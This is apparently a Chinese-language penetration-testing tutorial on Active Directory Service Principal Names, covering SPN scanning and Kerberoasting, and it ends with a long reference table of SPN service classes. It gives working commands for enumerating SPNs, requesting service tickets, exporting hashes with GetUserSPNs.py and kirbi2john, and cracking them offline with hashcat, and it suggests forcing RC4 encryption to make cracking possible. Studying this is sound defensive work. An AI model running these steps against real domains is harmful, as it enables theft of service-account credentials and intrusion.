0x01 SPN定義
服務主體名稱(SPN)是Kerberos客戶端用於唯一標識給特定Kerberos目標計算機的服務實例名稱。Kerberos身份驗證使用SPN將服務實例與服務登錄帳戶相關聯。如果在整個林中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定的服務實例可以具有多個SPN。例如,SPN總是包含運行服務實例的主機名稱,所以服務實例可以為其主機的每個名稱或別名注冊一個SPN。
0x02 SPN掃描
spn掃描也可以叫掃描Kerberos服務實例名稱,在Active Directory環境中發現服務的最佳方法是通過“SPN掃描”。通過請求特定SPN類型的服務主體名稱來查找服務,SPN掃描攻擊者通過網絡端口掃描的主要好處是SPN掃描不需要連接到網絡上的每個IP來檢查服務端口。SPN掃描通過LDAP查詢向域控制器執行服務發現。由於SPN查詢是普通Kerberos票據的一部分,因此如果不能被查詢,但可以用網絡端口掃描來確認。
1.SPN格式
SPN = serviceclass “/” hostname [“:”port] [“/” servicename]
serviceclass = mssql
servicename =sql.bk.com
其中:
serviceclass:標識服務類的字符串,例如Web服務的www
hostname:一個字符串,是系統的名稱。這應該是全限定域名(FQDN)。
port:一個數字,是該服務的端口號。
servicename:一個字符串,它是服務的專有名稱(DN),objectGuid,Internet主機名或全限定域名(FQDN)。
注意: 服務類和主機是必需參數,但 端口和服務名是可選的,主機和端口之間的冒號只有當端口存在時才需要
2.常見服務和spn服務實例名稱
MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
Exchange
exchangeMDB/adsmsEXCAS01.adsecurity.org
RDP
TERMSERV/adsmsEXCAS01.adsecurity.org
WSMan / WinRM / PS Remoting
WSMAN/adsmsEXCAS01.adsecurity.org
Hyper-V Host
Microsoft Virtual Console Service/adsmsHV01.adsecurity.org
VMWare VCenter
STS/adsmsVC01.adsecurity.org
2.SPN掃描的ps腳本
發現mssql服務中的spn服務實例名稱:
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
其他的SPN服務實例名查詢:
https://github.com/PyroTek3/PowerShell-AD-Recon
由於每台服務器都需要注冊用於Kerberos身份驗證服務的SPN,因此這為在不進行端口掃描的情況下收集有關環境的信息提供了一個完美的方法。
例如:
管理員在名為“MetcorpKCS17”的服務器上安裝和配置Microsoft SQL Server,並使用偵聽端口3170 3&3171的SQL實例。
那么服務類和實例名稱產生是這樣的:
MSSQLSvc/MetcorpKCS17.adsecurity.org:3170
MSSQLSvc/MetcorpKCS17.adsecurity.org:3171
藍色的部分是服務類,橙色的部分是計算機的FQDN,綠色的最后一部分是網絡端口號由於Kerberos將SPN請求與目錄中的現有SPN相匹配,因此最后的數字不一定是服務在服務器上偵聽的端口。如上所述,大多數情況下SPN中記錄的端口是服務器上的監聽端口,並非所有的SPN都包含一個端口。現在,我們有一個更好的方法來發現Active Directory域或森林中的SQL服務器:ServicePrincipalName=MSSQL*
0x03 SPN掃描和破解TGS Tickets
以MSSQL服務配置SPN為例
參考配置地址:
https://technet.microsoft.com/zh-cn/library/bb735885.aspx
1.為 SQL Server 服務帳戶注冊SPN
手動注冊:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
對應的命名實例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
2.查看用戶對應的SPN:
setspn -L ruos\sql-service
3.使用ADSI(adsiedit.msc)查看用戶屬性

4. 在AD上為用戶指定服務登陸權限。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment
Log on as a service

5..更改 SQL Server 服務帳戶為域用戶帳戶
6.暴力破解Kerberos TGS Tickets
由於加密類型是RC4_HMAC_MD5,Kerberos協議第四步TGS-REP將會返回用服務帳戶的NTLM密碼哈希加密的票據。
7.SPN掃描
setspn -T domain -q */*
或者
https://github.com/PyroTek3/PowerShell-AD-Recon/

8.請求SPN Kerberos Tickets
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS"
9. 查看並導出票據

默認配置加密類型是aes256_hmac,tgsrepcrack無法破解,可在服務器組策略指定加密類型為RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network security: Configure encryption types allowed for Kerberos
10.離線破解
tgsrepcrack(僅對RC4_HMAC_MD5),或者保存hash使用hashcat破解。

導出hash(用於其他加密類型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者從票據中導出 kirbi2john.py 1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force
也可以參考其他破解工具如下:
https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
0x04 Active Directory服務主體名稱(SPN)的綜合參考表
- AcronisAgent:針對Acronis備份和數據恢復軟件
- AdtServer:帶有ACS的Microsoft System Center Operations Manager(2007/2012)管理服務器
- afpserver:Apple歸檔協議
- AgpmServer:Microsoft高級組策略管理(AGPM)
- aradminsvc - 任務主角色服務器
- arssvc - 任務主角色服務器
- bocms:商業化CMS
- BOSSO:商業對象
- CESREMOTE:與VMWare上的Citrix VDI解決方案有關,許多VDI工作站都有這個SPN。
- cifs:通用Internet文件系統
- CmRcService:Microsoft系統中心配置管理器(SCCM)遠程控制
- CUSESSIONKEYSVR:Cisco Unity VOIP系統
- cvs:CVS庫
- Dfsr *:分布式文件系統
- DNS:域名服務器
- E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC復制
- E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM實例
- EDVR:ExacqVision服務
- exchangeAB:Exchange通訊簿服務(通常是支持NSPI的域控制器,也通常是所有的GC)
- exchangeMDB:RPC客戶端訪問服務器角色
- exchangeRFR:交換通訊簿服務
- fcsvr:Apple Final Cut Server
- FileRepService:WSFileRepService.exe
- FIMService:Microsoft Forefront標識管理器(FIM)
- ftp:文件傳輸協議
- GC:域控制器全局編錄服務
- HDFS:Hadoop(Ambari)
- host:主機服務代表主機。HOST SPN用於在創建服務票據時訪問由Kerberos協議使用長期密鑰的主機帳戶。
- http:支持Kerberos身份驗證的http網絡服務的SPN
- Hyper-V副本服務:Microsoft Hyper-V的副本服務
- IMAP:Internet消息訪問協議
- IMAP4:Internet消息訪問協議版本4
- ipp:Internet打印協議
- iSCSITarget:iSCSI 配置
- kadmin:Kerberos
- ldap:LDAP服務,如域控制器或ADAM實例。
- Magfs:Maginatics MagFS
- mapred:Cloudera
- Microsoft虛擬控制台服務:HyperV主機
- Microsoft虛擬系統遷移服務:P2V支持(Hyper-V)
- mongod:MongoDB Enterprise
- mongos:MongoDB Enterprise
- MSClusterVirtualServer:Windows群集服務器
- MSOLAPSvc:SQL Server分析服務
- MSOLAPSvc.3:SQL Server分析服務
- MSOLAPDisco.3:SQL Server分析服務
- MSOMHSvc:Microsoft系統中心運營經理(2007/2012)管理服務器
- MSOMSdkSvc:Microsoft System Center Operations Manager(2007/2012)管理服務器
- MSServerCluster:Windows群集服務器
- MSServerClusterMgmtAPI:此群集API需要此SPN才能通過使用Kerberos向服務器進行身份驗證
- MSSQL:Microsoft SQL Server
- MSSQLSvc:Microsoft SQL Server
- MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft SQL Server
- MSSQL $ BIZTALK:Microsoft SQL Server支持Microsoft Biztalk服務器
- MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft SQL Server
- MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL Server
- nfs:網絡文件系統
- NPPolicyEvaluator:戴爾Quest審計員
- NPRepository 4(CHANGEAUDITOR):戴爾Quest Change Auditor
- NPRepository4(CAAD):戴爾Quest審核員
- NPRepository4(默認):戴爾任務審計員
- NtFrs *:NT文件復制服務
- oracle:Oracle Kerberos身份驗證
- pcast:蘋果播客制作人
- PCNSCLNT:自動密碼同步解決方案(MIIS 2003&FIM)
- POP:郵箱協議
- POP3:郵箱協議版本3
- PVSSoap:Citrix Provisioning Services(7.1)
- RestrictedKrbHost:使用服務類字符串等於“RestrictedKrbHost”的 SPN的服務類,其服務憑單使用計算機帳戶密鑰並共享會話密鑰。
- RPC:遠程過程調用服務
- SAP:SAP / SAPService <SID>
- SAS:SAS服務器
- SCVMM:System Center虛擬機管理器
- secshd:IBM InfoSphere
- sip:會話啟動協議
- SMTP:簡單郵件傳輸協議
- SMTPSVC:簡單郵件傳輸協議
- SoftGrid: Microsoft應用程序虛擬化(App-V)以前的“SoftGrid”
- STS:VMWare SSO服務
- SQLAgent $ DB01NETIQ:NetIQ的SQL服務
- tapinego:與路由應用程序相關聯,例如Microsoft防火牆(ISA,TMG等)
- TERMSRV:Microsoft遠程桌面協議服務,又名終端服務。
- tnetd:Juniper Kerberos身份驗證
“Tnetd是一個守護進程,用於路由引擎和數據包轉發引擎等不同組件之間的內部通信” - vmrc:Microsoft Virtual Server 2005
- vnc:VNC服務器
- VPN:虛擬專用網絡
- VProRecovery Backup Exec系統恢復代理7.0
VProRecovery Backup Exec系統恢復代理8.0
VProRecovery Backup Exec系統恢復代理9.0 - VProRecovery諾頓克隆代理12.0
VProRecovery諾頓
克隆代理14.0 VProRecovery諾頓克隆代理15.0 - VProRecovery Symantec系統恢復代理10.0
VProRecovery Symantec系統恢復代理11.0
VProRecovery Symantec系統恢復代理14.0 - vssrvc:微軟虛擬服務器(2005)
- WSMAN:Windows遠程管理(基於WS-Management標准)服務
- xmpp / XMPP:可擴展消息和呈現協議(Jabber)
- xgrid:蘋果的分布式(網格)計算 / Mac OS X 10.6服務器管理
- YARN:Cloudera MapReduce
注意:
域控制器自動將公共SPN映射到主機SPN中。計算機加入到域時,主機SPN自動添加到所有計算機帳戶的ServicePrincipalName屬性。域控制器SPN映射由SPNMappings中的以下位置中的屬性控制:
“CN=Directory Service,CN=WindowsNT,CN=Services,CN=Configuration
SPN自動映射到HOST(SPNMapping屬性值):
alerter
appmgmt
cisvc
clipsrv
browser
dhcp
dnscache
replicator
eventlog
eventsystem
policyagent
oakley
dmserver
dns
mcsvc
fax
msiserver
ias
messenger
netlogon
netman
netdde
netddedsm
nmagent
plugplay
protectedstorage
rasman
rpclocator
rpc
rpcss
remoteaccess
rsvp
samss
scardsvr
scesrv
seclogon
scm
dcom
cifs
spooler
snmp
schedule
tapisrv
trksvr
trkwks
ups
time
wins
www
http
w3svc
iisadmin
msdtc
